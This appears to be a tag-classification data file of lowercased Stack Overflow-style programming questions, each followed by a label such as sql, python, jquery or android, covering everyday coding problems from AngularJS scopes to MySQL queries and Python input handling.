template expression is not evaluated  i m reading a angularjs book  and found a not working sample code =/. i m searching but didn t find an answer. basically i m testing the  controller  option of a directive  the code uses a template that have a expression that evaluate a value ( goals ) of the directive controller scope. but the value is not being update  i don t know why.    here is the code: <a href= http://jsfiddle.net/teles/qkd4xg6y/2/  rel= nofollow >(fiddle)</a>    <strong>html</strong>   <pre><code>&lt;div ng-app= myapp &gt;     &lt;div goal game time= cruze vs holy  &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>js</strong>   <pre><code>var app = angular.module( myapp   []);  app.directive( game   function () {    return {        scope: {            times:  @         }         controller: [ $scope    $element    $attrs   function ($scope  $element  $attrs) {            $scope.goals = 0;            this.increment = function() {                $scope.goals++;                console.log($scope.goals);                alert( goals =   + $scope.goals);            }        }]         template:  &lt;p&gt;match: [{{times}}]&lt;/p&gt;&lt;b&gt;match goals: &lt;/b&gt; {{goals}}     }; });  app.directive( goal   function() {     return {         require:  game           link: function (scope  el  attrs  gamecontroller) {             var b = angular.element( &lt;p&gt;&lt;button&gt;increase match goals&lt;/button&gt;&lt;/p&gt; );             b.on( click   function() {                 gamecontroller.increment();             });             el.append(b);         }     }; }); </code></pre>,angularjs
i am wondering how could output these values on sql  business  luxury  minivan or suv  executive van  armored sedan  armored minivan  minibus    they are on the same table and the column name is vehicletype. my question is that if used order by asc it won t come up to the arrangements above.,sql
iphone loading screen effect  i m interested to making a  fade effect  like foursquare app. i want the main view to fade in.    how can i do this    <hr>   sincerely i don t know what should i use. if anyone have the foursquare s app on his iphone  please open and see what i mean.,iphone
display information from another model into different view  i m trying to display an attribute from one model to another model s view.    my first model(<code>animal</code>) has an attribute <code>animal_num</code> and i would like to show the information in <code>animal num</code> in another view as a collection_select.  the selection will be stored into the attribute <code>num</code>.    here s a snippet of my _form:   <pre><code>  &lt;div&gt;    &lt;%= f.label :num %&gt;&lt;br /&gt;    &lt;%= f.collection_select :num  @animal.animal_num %&gt;   &lt;/div&gt; </code></pre>   i ve made sure that my animal model has a <code>belongs_to</code> relationship with my other model.  <code>num</code> and <code>animal_num</code> are both strings as well.  still i am getting an error on my page:   <pre><code>undefined method `animal_num  for nil:nilclass </code></pre>   any ideas,ruby-on-rails
interface with method getinstance<t>() in .net   i am not sure if there is any interface already exist in .net like this:   <pre><code>public interface icontroller {       t getinstance&lt;t&gt;(string name) where t: class; } </code></pre>   basically  this interface contains a method to get instance of t by name/key. icontroler is an arbitrator name i use here. it may be something like ifactory  icreator  or something i don t know. the method name may not exactly like this(getinstance). i think this may be a generic method which can be used to get/query an instance from a container  parent or controller.    if there is one  i would not need to create one(just adding a reference); otherwise  i ll define one.,.net
getting the first and/or last record(s) in a column  what are the orders of the following sql statements from most to least efficient     <strong>note:</strong> let the syntaxes be language agnostic (i.e. use <code>top 1</code> in the proper place instead of <code>limit 1</code>). assume that <code>table_name</code> is the name of the table  <code>column_name</code> is the name of a column  <code>id</code> is the name of a column with a primary key  and the table has tens of thousands of records.   <ol> <li><code>select first(column_name) from table_name</code></li> <li><code>select column_name from table_name limit 1</code></li> <li><code>select column_name from table_name where id=1 --assumes the first id is 1</code> </li> <li><code>select column_name from table_name where id=(select min(id) from table_name)</code></li> </ol>   and   <ol> <li><code>select last(column_name) from table_name</code></li> <li><code>select column_name from table_name order by id desc limit 1</code></li> <li><code>select column_name from table_name where id=(select count(id) from table_name) --assumes no values have been skipped</code></li> <li><code>select column_name from table_name where id=(select max(id) from table_name)</code></li> </ol>   i don t know how to benchmark these statements but my <em>guess</em> is 2  3  1  4 for getting the first record and 3  2  1  4 for getting the last record.,sql
div appearing next to wrapper that contains elements with float: left...   i was trying to figure this out but no luck...    <strong>my problem:</strong>    i have 3 divs  <code>wrapper</code>  <code>floatleft</code> and <code>normal</code>    where <code>wrapper</code> is wrapping the <code>floatleft</code> divs and <code>normal</code> is outside the wrapper and is completely normal div without any styling    the problem is that the <code>normal</code> div is appearing next to float left divs instead of appearing under the <code>wrapper</code>... why     code/example : <a href= http://jsfiddle.net/kaajw/3969/  rel= nofollow >http://jsfiddle.net/kaajw/3969/</a>     any help much appreciated,css
javascript: global element focus listener  i am trying to set a listener that listens for all focus events. in particular i am trying to listen for anytime an input or textbox gains focus. per some research  the widely accepted way to achieve this is like this:   <pre><code>document.body.onfocus = function(event) {    //check the event.target for input/textbox    //do something }; </code></pre>   but the document.body.onfocus doesn t seem to fire  ever. i thought it might be because the document doesn t actually ever receive focus so i tried:   <pre><code>document.body.focus(); </code></pre>   to initially  set  the focus  but this doesn t work either.    any ideas on how i can listen to a focus event on all inputs/textboxes without actually setting the event directly on the element itself  vanilla javascript only please  i am not using a framework.    per the accepted answer here is some working code:   <pre><code>var focushandler = function(event) {     var type = event.target.nodename.tolowercase();     if(type ==  input  || type ==  textarea ) {         //do something     } }; document.body.addeventlistener( focus   focushandler  true); //non-ie    document.body.onfocusin = focushandler; //ie </code></pre>,javascript
how to host a custom control in custom cell in datagridview   i have a custom control that i had created i need to host it in the cell of datagridview.,.net
select only sites that have 14 days of trial or 90 days expired  i decided not to limit trial days to 14 days as this could possibly lead to issues in future if a typo occurs on trial days remaining by our staff members. so this fixed me:   <pre><code>     $data = mysql_query( select site_id as site_id from sites where  end_date &gt;= date_sub(curdate()  interval 90 day) &amp;&amp;  end_date !=  null  &amp;&amp;  end_date !=  0000-00-00  &amp;&amp;  is_cancelled !=  1  &amp;&amp; is_house != 1   )       or die       ( error:  .mysql_error ()); </code></pre>,mysql
counting the occurrence of a word in a string in java  i read a word from the user (query)  i show the number of occurrences of that word in each line of a given textfile    sample text file:   <blockquote>    cat        cat dog cat        cat  </blockquote>   if i search on cat .. the occurences i get are 1  2  and 3 .. 3 is wrong..    so any help to fix the counter     <pre><code>import java.io.file; import java.io.filenotfoundexception; import java.util.arraylist; import java.util.list; import java.util.scanner;   public class main {   public static void main(string[] args) throws filenotfoundexception  {       system.out.println( search:  );     string query = toread();     int counter =0;     int linenumber=0;     int k=0;      system.out.println( searching for +     + query);      file file = new file( c:/users/ibm_admin/desktop/test.txt );     scanner scanner=new scanner(file);     //list&lt;string&gt; list=new arraylist&lt;&gt;();      while(scanner.hasnextline())     {         counter=0;          string line = scanner.nextline();          system.out.println( line   + linenumber +   :  + line);          int result = line.indexof(query);          while(result !=-1)          {              result = line.indexof(line result+1);              counter++;          }          system.out.println(counter);          //system.out.println( the string occurred  +counter+  times );                     linenumber++;                }    }  public static string toread() {     string s;     scanner in = new scanner(system.in);     s = in.nextline();     return s; }    </code></pre>   },java
using regex to trim off last few digits  using regex. trying to get only the last x digits of the number and 0 padding where necessary    consider the following input   <pre><code>1234 123 12 1 </code></pre>   edit: these will appear individually as string values    i m trying to make a regex expression (or several regex expressions  ideally just a single) yield   <pre><code>34 23 12 01 </code></pre>   i m a bit new to regex and backreferencing and still fumbling around a bit. any ideas on where to look or what could do this     thanks    edit for clarification: to be used in .net s system.text.regex.replace() function any of these values may come in as the input parameter.     edit: thanks for the ideas everyone. it seems this cannot be done within regex. sad as it is.,.net
python - subprocess popen() get both live stdout and stderr  following: <a href= https://stackoverflow.com/questions/18421757/live-output-from-subprocess-command >live output from subprocess command</a>.    i would like to run a process with <code>subprocess.popen()</code> and get both live stdout and stderr. the problem is that if i do <code>readline</code> on one of them  it will block  and i won t be able to <code>readline</code> the other. i also don t want to unite them to one pipe.    is there a simple way to do it without using 2 threads per process,python
accessing cell number in mobile website  is there a way i can access mobile number of the phone through which i am accessing the web page     is there any open source javascript api to do this,javascript
python: ordering a set of string  i have a list: <code>[  123-12 abc  qwerty    pol  t. top    14-89 toy  rap ]</code>.    i want to output it like this using regular expressions:    qwerty abc 123-12    t. top pol    rap toy 14-89    is there any pythonic way to solve this  thank you.,python
dynamically formating an input to clock-time  i m writing a small clock application and i wanted a clean input for time. i don t want to use the native type= time  element because of browser inconsistency  and type= number  doesn t allow a colon. so i settled on <strong>type= text </strong> and have written formatting rules that restrict the text input to valid clock times.    it must work as the user types  formatting the text for them as they go. my rules work but are a cluster of <strong>if</strong> and <strong>regex</strong>. i m new to this  so i m assuming i ve made a mess of things. can you think of a cleaner or more efficient way to achieve the same results      <h2>formatting rules</h2>  <ul> <li>there must be only [0-9] or  :  allowed in the input.  </li> <li>control keys must still work (enter  delete  alt...)</li> <li>there must be exactly one  : .</li> <li>preceding the  :  must be one or two digits</li> <li>following must be exactly two digits.</li> <li>the last two digits (minutes) must be less than 60</li> <li>for 24 hour clocks the first digit(s) must be less than 25</li> <li>for 12 hour clocks the first digit(s) must be less than 13 <em>(global.daynight)</em></li> </ul>  <h2>fiddle</h2>   <a href= https://jsfiddle.net/x99btgez/  rel= nofollow noreferrer >https://jsfiddle.net/x99btgez/</a>    <em>//while their are lots of question on formatting clock time  i didn t see anything in javascript that formats the type as the user types.</em>   <pre><code>let ele = document.getelementbyid( wut ); let global = {}; global.daynight = false; // 12 hour or 24 hour clock document.getelementbyid( wut ).addeventlistener( keydown   filtertimeinput); document.getelementbyid( wut ).addeventlistener( blur   cancel);  function submitinput() {   if (!ele.value.match(/:/)) { // in the event they typed 3 numbers and left out the  :      ele.value =  ele.value.slice(0  -2) + : + ele.value.slice(-2)   } }  function cancel() {   ele.value =   ; }  function filtertimeinput(evt) {    let key; key = evt.key;    if (key ===  enter ) { submitinput(); }   if (key ===  escape ) { cancel(); }    if (key.length === 1) { // exclude non number characteres. i avoided a [^] match to leave operational keys enabled.     if(key.match(/[a-za-z\s\.\\\+\*\ \^\$\[\]\{\}\(\)\|\/\-&amp;~!@#%`= &gt;&lt;_  ;]|decimal|multiply|add|divide|subtract|seperator/)) evt.preventdefault();   }    if (ele.value.match(/:/)) { // prevents users from typing  :  twice  or from typing 3 digits of minutes     if(key.match(/:/)) evt.preventdefault();     if(ele.value.match(/:[0-9]{2}/)) {       if(key.match(/[0-9]/)) evt.preventdefault();     }   }    if (global.daynight) { // 24 hour clock     if (ele.value.length === 0) { // first number should be 1  2 or counted as earlier than 10:00       if (key.match(/[3-9]/)) {         evt.preventdefault();         ele.value =  0  + key +  : ;       } else if (key.match(/:/)) { // if they type a  :  first thing         evt.preventdefault();         ele.value =  00  + key;       }     } else if (ele.value.length === 1) { // if the first number was a 2  the second number should be less than 4       if (ele.value ===  2 ) {         if (key.match(/[5-9]/)) {           evt.preventdefault();           ele.value +=  0:  + key;         }       }     }   }    else if (global.daynight === false) { // 12 hour clock     if (ele.value.length === 0) { // first number should be 0 or 1  or counted as earlier than 10:00       if (key.match(/[2-9]/)) {         evt.preventdefault();         ele.value =  0  + key +  : ;       } else if (key.match(/:/)) { // if they type a  :  first thing         evt.preventdefault();         ele.value =  00  + key;       }     } else if (ele.value ===  1 ) { // second number following a 1 should less than 3 or treated as minutes       if (key.match(/[3-9]/)) {         evt.preventdefault();         ele.value +=  0:  + key;       }     }   }    if (ele.value.match(/:$/)) { // prevents a number greater than 5 following a  :      if (key.match(/[6-9]/)) {       evt.preventdefault();       ele.value +=  0  + key;     }   }    if (ele.value.match(/[0-9]{3}/)) { // if a user types 4 numbers without a  :  then adds  :  for them.     if (key.match(/[0-9]/)) {       evt.preventdefault();       ele.value = ele.value.slice(0 2) +  :  + ele.value.slice(2 3) + key     }   } } </code></pre>,javascript
python library to do what the unix command  dialog  does  i need text-console interactive dialogs. i am porting a shell script to python. which python tool would do pretty much exactly what the unix command <code>dialog</code> does  (i.e. ready-to-use yes/no  calendar  text  gauge  etc. controls which return results and are ncurses-like full-screen uis),python
android hierarchyviewer unable to load window data  i m trying to use the hierarchyviewer tool to see the layout of my android app.     i can run hierarchyviewer  and see the emulator running. i click on <code>&lt;focused window&gt;</code> and try to load the view hierarchy and get the error:   <blockquote>    unable to load window data for window <code>&lt;focused window&gt;</code> on device emulator-5554.   </blockquote>   i m developing on osx (10.6.5) using eclipse 3.5.2. i m currently debugging through eclipse  in a custom-sized emulator. i have updated the android tools to the latest (revision 8) with the avd and sdk manager in eclipse. i haven t found any threads searching for the error message  or for general heirarchy viewer problems.    does anyone have an idea how to get the tool working,android
thread-safe invocation of event handler. avoid nullreference  there are lots of discussions about <code> if (someevent != null)    someevent(this  null); </code> potentially yielding nullreference.    that  <code> someeventhandler temp = someevent; if (temp != null)     temp(this  null); </code> is a little better  but compiler can optimize <code>temp</code> variable and we re back to the problem.    and then solution to this that s supposed to be stable <code> someeventhandler temp = interlocked.compareexchange(ref someevent  null  null) if (temp!=null) {    temp(this  e) } </code>    i may misunderstand the way event chain is maintained. does this mean that when event from inside the chain is unsubscribed  it s placeholder becomes null !    let s say someevent = {eventhandler1  eventhandler2  eventhandler3}. some thread unscubscribes eventhandler2 from someevent. shouldn t <code>someevent(this  e)</code> from the first exerpt simply invoke eventhandler1 and than eventhandler3     why nullreference     i can understand that someevent be null when there are no subscribers exist. but than solution is doubtful  because if subscriber unsubscribed  than maybe we shouldn t <i>forcefully</i> firing it.    i may have missed something on events. please explain.    and if null can only appear as a result that there are no more handlers left  than the whole solution is doubtful  if not stupid. because why would i want to invoke event handler on an object that unsubscribed from it (and possibly is disposing now and is in unstable state)!,.net
display data dynamically in gridview  i have a list of image urls which i have to check whether the url is responding or not. i am adding the url which is not responding to my gridview one by one . the problem is     when first not responding url is displaying in the <code>gridview</code>  but when a subsequent invalid url is added  it is replacing the first. i need to display all <code>removeurl</code>s in the gridview    here is my code:   <pre><code>list&lt;removeurl&gt; removeurl = new list&lt;validateurlofhiipsdata.removeurl&gt;();  datatable dtfpid = businessclass.gethotelfpid();   for (int i = 1; i &lt;= 2; i++)  {                     if (session[ removeurl ] != null)       {          removeurl = (list&lt;removeurl&gt;)session[ removeurl ];      }     removeurl = businessclass.searchimageurl(i)/*checking url for valid or not;     session[ removeurl ] = removeurl;     gvremovedurl.datasource = session[ removeurl ];     gvremovedurl.databind(); } </code></pre>,asp.net
string to binary  i convert a character to binary using <code>std::bitset&lt;char_bit&gt; binary( c );</code> but this doesn t work for a string    <pre><code>std::string str =  mystring ; std::bitset&lt;size_of_string_in_bits&gt; binary(str); //error exception </code></pre>   what should be the alternative,c++
r is not generated by eclipse  i recently started working on android. i have problem that eclipse does not generate the r java file. everything is updated.  build automatically   is checked and i also cleaned the project. please suggest a solution.,android
why do the elements below also move to the right with this css   the code below displays some text (<code>#_eventexcerpt</code>) and displays a picture (<code>#_eventimage</code>). i want it so the text is on the left and the image on the right  so they are next to each other  as this code does. below this there is a <code>&lt;a href= #_eventurl</code> with lots of css which makes this link into an orange button. currently  this orange button is being moved right with the image. i don t want this to happen  how can i move the image next to the text (as is currently)  but leave the <code>&lt;a href</code> to the left     <strong>from style sheet:</strong>   <pre><code>#eventexcandimage { width: 100%; }   </code></pre>   <strong>from .php file:</strong>   <pre><code>   &lt;div id= eventexcandimage &gt;              &lt;span style= width: 50%;  float: left;  &gt; #_eventexcerpt &lt;/span&gt;   #_eventimage  &lt;/div&gt;         &lt;/li&gt;             &lt;li&gt;           &lt;span style= width:50%;    &gt; &lt;a href= #_eventurl   style=  -moz-box-shadow:inset 0px 1px 0px 0px #ed834e;                 -webkit-box-shadow:inset 0px 1px 0px 0px #ed834e;                 box-shadow:inset 0px 1px 0px 0px #ed834e;                 background:-webkit-gradient( linear  left top  left bottom  color-stop(0.05  #ed834e)    color-stop(1  #ed834e) );             background:-moz-linear-gradient( center top  #ed834e 5%  #ed834e 100% );                 background-color:#ed834e;                 -webkit-border-top-left-radius:0px;                  -moz-border-radius-topleft:0px;                 border-top-left-radius:0px;                 -webkit-border-top-right-radius:0px;                 -moz-border-radius-topright:0px;                 border-top-right-radius:0px;                 -webkit-border-bottom-right-radius:0px;                 -moz-border-radius-bottomright:0px;                 border-bottom-right-radius:0px;                 -webkit-border-bottom-left-radius:0px;                 -moz-border-radius-bottomleft:0px;                 border-bottom-left-radius:0px;                 text-indent:0px;                 display:inline-block;                 color:#fffffb;                 font-family:arial;                 font-size:13px;                 font-weight:bold;                 font-style:normal;                 height:35px;                 line-height:35px;                 width:111px;                 text-decoration:none;                 text-align:center;                 text-shadow:1px 1px 0px #ed834e;              &gt; more info /  book&lt;/a&gt;  &lt;/span&gt;  </code></pre>   thank-you!    <strong>update:</strong> yi want the button to be on a new line below the text/image. it is currently above the image on the right  i don t know why.,css
how to show/hide based on section in dropdown box   i have the following code. what i m trying to do is to show a div named  uploader  when  yes  is selected in the dropdown. it s currently not working.   <pre><code>$(document).ready(function() {   $( #uploader ).hide();   $( #citedin ).change(function() {     if (( #citedin ).val()  ==  yes )        $( #uploader ).show( fast );     else $( #uploader ).hide( fast );     }); });  &lt;table&gt;     &lt;tr&gt;&lt;td&gt;need item(s) &lt;/td&gt;&lt;td&gt;         &lt;select id= citedin  name= citedin  size= 1   tabindex= 13 &gt;             &lt;option value= none &gt;(select one)&lt;/option&gt;             &lt;option value= yes &gt;yes&lt;/option&gt;             &lt;option value= no &gt;no&lt;/option&gt;         &lt;/select&gt;     &lt;/td&gt;&lt;/tr&gt; &lt;/table&gt;  &lt;div id= uploader &gt;     something... &lt;/div&gt; </code></pre>   what can done to make it work as intended,jquery
how to speed up select statements on a table with a large varchar field   i have a simple isam table  about 2.2gb with 1.6 million records. for purposes of this question  the query is   <pre><code>select  one_unindexed_field  where indexed_field &gt; constant; </code></pre>   the only unusual thing about the table is that it has 1 large unindexed column varchar(8192).    if  one_unindexed_field  = the large varchar field then the query takes about 7 times as long as the same query with any other field. this factor scales roughly the same for any number of records returned (say  1000 to 100 000)  so presumably you can assume the set of records returned fits into memory easily.   <pre><code>mysql&gt; show global status like  created_tmp_disk_tables ;  </code></pre>   reports that zero tmp_disk_tables are being created. <code>explain</code> returns the same results for either query.    how can i speed up my queries on this table  if it s not possible  can someone explain what is going on    <pre><code>key_buffer_size=256m tmp_table_size=64m max_heap_table_size=64m myisam_sort_buffer_size=88m read_buffer_size=1m read_rnd_buffer_size=2m </code></pre>   edit: got some hits suggesting that changing row_format to fixed would probably speed up my query ... so i did that  and it actually made the query slightly slower.    edit: i m on win10 64-bit  server version: 5.7.16-log mysql community server (gpl)    explain returns this:   <pre><code>mysql&gt; explain select skw_stk_vol from tbl_skews where (tday_date &gt;= 42795);      id     1      select_type     simple            table       tbl_skews       partitions      null             type    range       possible_keys           ndx_skews_tday_date       key                     ndx_skews_tday_date       key_len    4      ref     null       rows       406921      filtered   100      extra                   using index condition  </code></pre>,mysql
list of months and days in each month - divided into separate div s  i m trying to get list of months and days for each month f.e.   <pre><code>january 01 02 03 04 05 (...) february  01 02 03 04 05 (...) </code></pre>   i d love to have each month wrapped with div  which would have a css class.    how can i achive this  i ve tried with code below  but it returns the list of days  without dividing them into separate months :/   <pre><code>$start_date =  2015-01-01 ; $start_day = date( z   strtotime($start_date)); $days_in_a_year = date( z   strtotime( 2015-12-31 ));  $number_of_days = ($days_in_a_year - $start_day) +1 ; for ($i = 0; $i &lt; $number_of_days; $i++) {     $date = strtotime(date( y-m-d   strtotime($start_date)) .   +$i day );     echo date( d-m-y f - l   $date) . &lt;br /&gt; ; } </code></pre>,php
asp.net hyperlinks asp:hyperlink vs a href  in asp.net when should i use:   <pre><code>&lt;asp:hyperlink    id= home     runat= server    text= home    navigateurl= ./home.aspx &gt; </code></pre>   and when shoudl i use    <pre><code>&lt;a href= ./unsignedvssignedtut.aspx &gt;home&lt;/a&gt;  </code></pre>,asp.net
how to install the old value of the cell  the idea is this: there is a plate with the values  double-click on the cell start to make it in the input  and how to make cell value to appear in the  input . <a href= http://jsfiddle.net/dcgrb/  rel= nofollow noreferrer >code on jsfiddle</a>    here is my function which makes converting and should display the value of the cell in the  input :   <pre><code>function converttoinput() {     $( td.editable ).on( dblclick   function(){         $(this).html(function() {             var input =  &lt;input type= text  name= fname  /&gt; ;             var texteditable = $( td.editable );             return input + texteditable;         });     });     $( td.editable ).keypress(function(event) {         if ( event.which == 13 ) {             $(this).html( &lt;td class= editable &gt;&lt;/td&gt; );         }     }); } </code></pre>   here s a screenshot of what happens:    <img src= https://i.stack.imgur.com/krndm.png  alt= enter image description here >,jquery
how to restrict user from entering direct url  i have some files that can be accessed by admin and permitted by admin that user. but the problem is that  a third user can enter the url directly and he can also access that page  so how do i restrict the unauthorized user from accessing it  eg: www.manoj.com/myinfo.php /// can be accessed by admin eg: www.manoj.com/myinfo.php /// can be accessed by user who is allowed by admin    but a third user is also able to access this page by entering the url directly. can anybody help me,php
is it true that every non-nil object evaluates to true in objective-c   is it true that every non-nil object evaluates to true in objective-c   that is  is this:   <pre><code>if (thing) nslog(@ yes ); </code></pre>   identical to this:   <pre><code>if (thing != nil) nslog(@ yes ); </code></pre>   empirically it seems to be true  even if <code>thing = @0</code>  but i can t find documentation that actually says this.,objective-c
reducing css code repetition  i am finding myself constantly reusing various blocks of code in css for various elements. one is rounded corners. example code below:   <pre><code>-moz-border-radius: 10px; -webkit-border-radius: 10px; -khtml-border-radius: 10px; border-radius: 10px; </code></pre>   i ve tried 2 different methods to reduce code repetition  which both have cons.    the first is to wrap the code in a class such as .rounded10 and add this class to all the elements on the page that require rounded borders (there s a good 20+). bootstrap do something similar  but i don t like this method as it introduces unsemantic data into the html.    the second is to create a list of elements in css that should have rounded borders like:   <pre><code>.offers  .welcome  .sidebar  .post {    ... rounded corners code here ... } </code></pre>   i m not sure if this method is even used  i ve not seen it.    are there any other method s i ve missed or anything that can help me reduce this repetition in such circumstances. things get messy especially when you have to use browser vendor properties.    i do not use sass or less  or any css frameworks  or helpers such as compass (although i have). i preferrer to code with vanilla css. it s just the way i work. please no suggestions on using those.,css
objective-c: initwithname:(char *)string  how would you read this in english  my concern is with the pointer. is that pointer associated with char or with string      thanks in advance!,objective-c
sql  =  doesn t work on string while  like  does.  i am doing a simple data pull on a table with the below  where  condition   <pre><code>select * from table1 where name =  amy  or name =  john  </code></pre>   there are no  johns  in the existing table currently so i expect the result to return only data with  amy  (amy is spelled the exact way in the db). however  result did not return anything. however  when i enter the query as:   <pre><code>select * from table1 where name like  amy  or name like  john  </code></pre>   that returns my result as expected with only amy s data in there. i understand the difference between  =  and  like   but why wouldn t using  =  in the first case return any results,sql
what is best practice in angular to re-use a function in several modules   i have a module config function  and i want to use it in several modules. i helped me this way  but i think  there might be a better way in angular.js    <pre><code>(function() {   angular.module( myapp   [ modulea    moduleb ]);   angular.module( myapp ).submoduleconfig = function(module) {     return function() {       console.log( config module   + module)     }   } }());  (function() {   angular.module( modulea   [])     .config([angular.module( myapp ).submoduleconfig( a )]); }());  (function() {   angular.module( moduleb   [])     .config([angular.module( myapp ).submoduleconfig( b )]); }()); </code></pre>   here is a plunkr: <a href= http://plnkr.co/edit/4lzlpgnf87wcbl3lecir p=preview  rel= nofollow >http://plnkr.co/edit/4lzlpgnf87wcbl3lecir p=preview</a>,angularjs
gallery crashes on invoking from app: android 3.0 sdk  i am invoking the gallery  so that a user can select a photo to import into my app  however  the gallery just seems to crash as soon as it is invoked...    any ideas if this is a known issue or would i be doing something wrong by invoking using the following:   <pre><code>    intent photopickerintent = new intent(intent.action_pick);     photopickerintent.settype( image/* );     startactivityforresult(photopickerintent  activity_select_image); </code></pre>   or the following:   <pre><code>    intent i = new intent(intent.action_pick                    android.provider.mediastore.images.media.internal_content_uri);     startactivityforresult(i  activity_select_image);  </code></pre>   thanks  sonny,android
why my list preference doesn t have a arrow-down icon beside it   i have a list preference in my preference category  everything looks good except that there is no arrow-down icon beside it.    i changed my theme from light to dark  but no change regarding this arrow icon. i think this is a feature of list preference  but don t know why just not shown!    any help is great appreciated!    i want to upload images about it  but with no reputation  it is not allowed! what a shame!    i found a list preference example on internet    <a href= http://viralpatel.net/blogs/android-preferences-activity-example/  rel= nofollow >http://viralpatel.net/blogs/android-preferences-activity-example/</a>    this example also doesn t have arrow-down icon  exactly the problem i have.,android
pass more than one argument to functions  i ve created the following function that simply echos  active  if a chosen day string is passed to it:   <pre><code>function active_day($theday) {     if (date( d ) == $theday) {         echo  active ;     } } </code></pre>   the function works fine if i pass in one argument e.g.   <pre><code>active_day(  sun  ); </code></pre>   however  i d like to pass in two arguments  e.g.   <pre><code>active_day(  sun    mon  ); </code></pre>   this works fine for sunday  but it ignores monday for some reason.    any ideas what i m doing wrong,php
an html challenge  <img src= https://i.stack.imgur.com/pqmvu.jpg  alt= alt text >    a container that contains a box centered horizontally and a line centered vertically beside the left or the right side of the box. the width of the container may change dynamically so the line should also change its width (automatically). i hope the image explains that well.,html
jquery.bind unbind  multiples instances of classes  i have multiple elements with the same class  clickable   i m binding all these classes with:   <pre><code> $( .clickable ).bind( click   function()      {         $(this.id).html( clicked );       } </code></pre>   i m assuming the bind binds each element with the class  clickable  individually. then within this bind-function  i want to unbind the currently clicked element with:   <pre><code> $(this.id).unbind( click ); </code></pre>   so that if you click again within this element  it doesn t trigger the click-function again. and then  after doing stuff within the element (replace the text withing these elements with an  that puts the current text in it  and when you click outside it it wil alter the html for it) i want to rebind the click again  but i cant t seem to unbind the click for this.id...    some fiddle for clarification: <a href= http://jsfiddle.net/tryspace/qzmp6/7/  rel= nofollow >http://jsfiddle.net/tryspace/qzmp6/7/</a>,jquery
smtplib smtpsenderrefused in python  i am always getting this error    <blockquote>    --smtplib.smtpsenderrefused  </blockquote>   i can t send my link to email for resetting a password. i already set my gmail account to less secure on and i already set up an environment variables email_user and email_pass and i still get this error.    <a href= https://i.stack.imgur.com/bhsaz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bhsaz.png  alt=  ></a>    here is my code:   <pre><code>app.config[ mail_server ] =  smtp.gmail.com  app.config[ mail_port ] = 587 app.config[ mail_use_tls ] = true app.config[ mail_username ] = os.environ.get( email_user )  app.config[ mail_password ] = os.environ.get( email_pass ) mail = mail(app) </code></pre>,python
ways to make a function with dynamic bound checking in tictactoe game  first off thanks for trying to help out.    i have a tictactoe game completed in python which you can check out here: <a href= https://github.com/weffe/tictactoe  rel= nofollow >https://github.com/weffe/tictactoe</a>    currently  everything runs perfectly fine for a 3x3 playing field. i wanted to make the game dynamic in the sense that it can easily scale up to 9x9 with no problems. however  i m a bit brain dead and can t figure out the cleanest way to make this possible. the main issues lies in player.py s function get_player_loc_input().     the way it is right now  it s only configured for a 3x3 playing field. however  i want to make it dynamic.    original code:   <pre><code>def get_player_loc_input(self):     player_input = input( enter in location for your move:  )  # player input is with respect to field index location     translated_input = int(player_input)      if 7 &lt;= translated_input &lt;= 9:         translated_input = [0  (translated_input - 7)]  # row  col     elif 4 &lt;= translated_input &lt;= 6:         translated_input = [1  (translated_input - 4)]  # row  col     elif 1 &lt;= translated_input &lt;= 3:         translated_input = [2  (translated_input - 1)]  # row  col     else:         raise valueerror( input is not an index on the playing field. try again\n )     return translated_input </code></pre>   my current dynamic attempt:   <pre><code>def get_player_loc_input(self  num_rows  num_cols):     value = num_rows*num_cols     num_rows = num_rows - 1 #adjust from n+1 to n     for x in range(value  0  3):         lower_bound = x-2         upper_bound = x         if lower_bound &lt;= translated_input &lt;= upper_bound:             translated_input = [num_rows  (translated_input - lower_bound)]             num_rows = num_rows - 1 #move down to the next row we re on     return translated_input </code></pre>   a picture of the playing field   <pre><code>------------- | 7 | 8 | 9 | #row 0 ------------- | 4 | 5 | 6 | #row 1 ------------- | 1 | 2 | 3 | #row 2 ------------- </code></pre>   the way it works is by inputting the number of the index you want to replace. then the function converts that number to a [row col]  value .     so for example  4 => [1 0]  or 3 => [2 2]    any ideas  gonna go do something else for a bit to clear my head.,python
assign ajax data val to table header  in my ajax call i want to assign each <code>key</code> as a <code>&lt;td&gt;</code> to a single row in the <code>$( #shelf .table thead tr )</code>. this is my attempt that is not working.    ajax:   <pre><code>function ajax_call($aff){     $.ajax({                                               url:  fill_crosstab.php                                    data: {action:$aff}                                                       datatype:  json                              success: function(data){             $( #shelf .table tbody ).empty();              $( #shelf .table thead tr ).empty();             for ( var i = 0; i &lt; key.length; i++ ) {                 out +=  &lt;td&gt;  + key[i] +  &lt;/td&gt; ;              }             $( #shelf .table thead tr ).append(out +  &lt;/tr&gt; );              if ($aff ==  database ) {                 $.each(data  function(key  val) {                     $( .dropdown-menu ).append( &lt;a class= dropdown-item  href= # &gt;  + val.affiliation +  &lt;/a&gt; );                 });                     // bind the event now  after the html element has bend created.                 $( .dropdown-menu a ).on( click   function () {                     var seltext = $(this).text();                     $( .shelf-header ).empty();                     $( .shelf-header ).append(seltext);                     ajax_call(seltext);                  });             } else {                 $.each(data  function(key  val) {                     $( #shelf .table tbody ).append( &lt;tr&gt;&lt;td&gt;  + val.last +  &lt;/td&gt;&lt;td&gt;  + val.first +  &lt;/td&gt;&lt;td&gt;  + val.mdc +  &lt;/td&gt;&lt;td&gt;  + val.radio +  &lt;/td&gt;&lt;td&gt;  + val.emeds +  &lt;/td&gt;&lt;td&gt;  + val.fireapp +  &lt;/td&gt;&lt;td&gt;  + val.p1 +  &lt;/td&gt;&lt;/tr&gt; );                  });             }         }     });     }; </code></pre>   json data:   <pre><code>[{ last : jone   first : mary   mdc : 07\/23\/2003   radio : 08\/22\/2002   emeds : 02\/09\/2015   fireapp : 09\/11\/2012   p1 :   }] </code></pre>,jquery
what is wrong with this python game code  <pre><code>import random  secret = random.randint (1 99) guess = 0 tries = 0  print ( ahoy! i m the dread pirate roberts  and i have a secret! ) print ( it is a number from 1 to 99. i ll give you 6 tries.  )  while guess != secret and tries &lt; 6:     guess = input ( what s yer guess   )     if guess &lt; secret:         print ( too low  ye scurvy dog )     elif guess &gt; secret:         print ( too high  landrubber! )     tries = tries + 1 if guess == secret:     print ( avast! ye got it! found my secret  ye did! ) else:     print ( no more guesses! better luck next time  matey! )     print ( the secret number was   secret) </code></pre>   i keep getting this error: if guess &lt; secret: typeerror: unorderable types: str() &lt; int(),python
